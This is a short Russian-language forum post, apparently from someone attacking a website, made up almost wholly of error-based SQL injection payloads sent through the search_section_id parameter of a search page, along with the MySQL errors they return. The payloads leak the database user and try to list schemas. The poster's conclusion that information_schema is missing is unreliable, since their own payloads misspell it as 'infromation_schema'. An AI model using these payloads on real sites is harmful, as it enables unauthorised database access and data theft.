ага ) (site.com/search/?search=1&search_words=jjh&search_section_id=99999 99)+and+ExtractValue(1,concat(0x5c,(user())))--)

MySQL Error : XPATH syntax error: '\user@127.0.0.2'

только теперь непонятно, версия 5.1.41 , а infromation_schema будто нет что это?

site.com/search/?search=1&search_words=jjh&search_section_id=99999 99)+and+ExtractValue(1,concat(0x5c,(select+schema_ name+from+infromation_schema.schemata+limit+1,1)))--

MySQL Error : SELECT command denied to user 'user'@'127.0.0.2' for table 'schemata'

.....ExtractValue(1,concat(0x5c,(select+schema_nam e+from+infromation_schedasdma.schemata+limit+1,1)) )--

MySQL Error : SELECT command denied to user 'user'@'127.0.0.2' for table 'schemata' --одинаково потому и думаю что infromation_schema нет